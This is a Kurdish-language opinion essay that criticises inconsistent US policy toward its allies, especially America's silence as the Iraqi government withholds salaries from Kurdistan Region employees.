هه‌كه‌ بهێن لاپه‌رێن پڕتووكا دیرۆكا ئه‌مریكا ڤه‌دده‌ین ب هووری تێدا بچورین خوار و ب تێر و ته‌سه‌لی بخوینین، هه‌لبه‌ت دێ باشتر سه‌ر سیاسه‌تا هه‌مه‌جۆریا ده‌وله‌تا ئه‌مریكا هه‌ل بین و پتر چه‌ق و ڕه‌هه‌ندێن وێ به‌رچاڤی مه‌كه‌ڤن تایبه‌تی هه‌كه‌ به‌حس ل به‌شێ دیرۆكا هه‌ڤالدۆستیا وێ دگه‌ل وه‌لاتێن جیهانێ بكه‌ین دێ گه‌له‌ك سه‌رئه‌ڤرازی و سه‌رنشیفیا د ناڤ رێزه‌ نڤیسینێن وێ پڕتۆكێ دا بینین كا چاوا ب چ سه‌ره‌ده‌ری هه‌لوه‌ست ل هه‌مبه‌ری وان وه‌لاتان هه‌بووینه‌، ئه‌وێ په‌یوه‌ندیا دیرۆكی ل گه‌ل هه‌یین بێگومان پێدڤی پشتبه‌ستنا ئه‌مریكا هه‌یه‌ تایبه‌تی بۆ وان وه‌لاتێن ژێرده‌ست سته‌ملێكری هه‌ڤالدۆستیا ئه‌مریكا كاریگه‌ریا خوه‌ هه‌یه‌، لێ دا ژ بیرنه‌كه‌ت ئه‌مریكا لایه‌نێ ئه‌رێنی د سیاسه‌تا خوه‌دا هه‌یه‌ هند لایه‌نه‌كێ نه‌رێنیێ ژی د پڕتووكا دیرۆكا خوه‌دا نڤیسینه‌، لێ مه‌ بڤێت نه‌ڤێت ئه‌و ده‌وله‌ته‌كا هه‌ری مه‌زن و زلهێز و خودان شیانه‌ و ژلایێ چه‌كی و هێزێڤه‌ بۆ هێزا هه‌مبه‌ری جه‌مسه‌ری خوه‌ وه‌لاته‌كێ بێ ڕكابه‌ره‌، لێ هه‌كه‌ بهێن پتر به‌حس ل هه‌لوه‌ستێن وی وه‌لاتی ناڤبری بكه‌ین هه‌لبه‌ت دێ گه‌له‌ك ب ئاشكرا سیاسه‌تا وی وه‌لاتی د ناڤ لاپه‌رێن دیرۆكیا وێ دا بینین دێ شێی باشتر كه‌تواری هه‌ی شرۆڤه‌ كه‌ین ئه‌مریكا به‌رانبه‌ری وه‌رگرتنا هه‌لوه‌ستان بۆ وه‌لاتێن هه‌ڤپه‌یمانی ل گه‌ل هه‌یین چو جار چو هه‌لوه‌ستێن دورست نه‌هاتینه‌ نیشادان پڕانیا جاران سیاسه‌تا گومانێ دهێته‌ چاڤه‌رێكرن به‌رده‌وام كراسێ ڕه‌نگا یێ جۆره‌ و جۆره‌ بۆ هه‌ڤالدۆستێن خوه‌ كه‌ركرینه‌، جاران ب نه‌په‌نی دبته‌ ئه‌مرازه‌كێ هشك سه‌ر وان وه‌لاتان خوه‌ دسه‌پینیت، پێنه‌ڤێت پتریا وان وه‌لاتێن دوژمن ل سه‌ر وان زال چاڤه‌رێ پشته‌ڤانییا ئه‌مریكا دكه‌ن وه‌كو نموونه‌ كا وان و ژیوارێ ئه‌ڤرۆ هه‌رێم تێدا ده‌ربازدبیت گه‌له‌ك پرسیار دهێنه‌كرن، ئه‌رێ كه‌لۆ ما هه‌تا كه‌نگی دێ ئه‌مریكا یا بێده‌نگ بیت؟ ما كورد نه‌هه‌ڤالێن وێ یێن دیرۆكینه‌؟ پا بۆچی كه‌توارێ ئه‌ڤرۆ كورد كه‌تین تێدا ئه‌مریكا یا بێده‌نگه‌؟ وه‌كو دیار ئه‌ڤ سفكاتیا ئه‌ڤرۆ حوكمه‌تا ئیراقێ دگه‌ل فه‌رمانبه‌رێن هه‌رێمێ دكه‌ت هه‌ر رۆژ ب به‌هانه‌كی یێ خه‌لكێ هه‌رێمێ برسی دكه‌ن كا هه‌لوه‌ستێ دورست یێ ئه‌مریكا هه‌تا كه‌نگی دێ كراسی بێ دروار بۆ كوردنا كه‌ركه‌ن، لێ نه‌به‌س ل گه‌ل كوردان به‌لكۆ ل گه‌ل وه‌لاتێن رۆژهه‌لاتا ناڤیت هه‌میێ هه‌ر وه‌لاته‌كی كراسه‌كێ جودا بۆ كه‌ر دكه‌ت، لێ به‌لێ یا من دڤێت بێژم ئه‌ڤرۆ ژ هه‌ر ده‌مه‌كێ دی پتر جڤاكی كوردی چاڤه‌رێ هه‌لوه‌ستێ ئه‌مریكانه‌ ژ سیاسه‌تا خوه‌یا گومانێ ده‌ركه‌ڤیت بهێت سه‌رخه‌ت بۆ چاره‌سه‌ركرنا پرسگریكێن هه‌ین.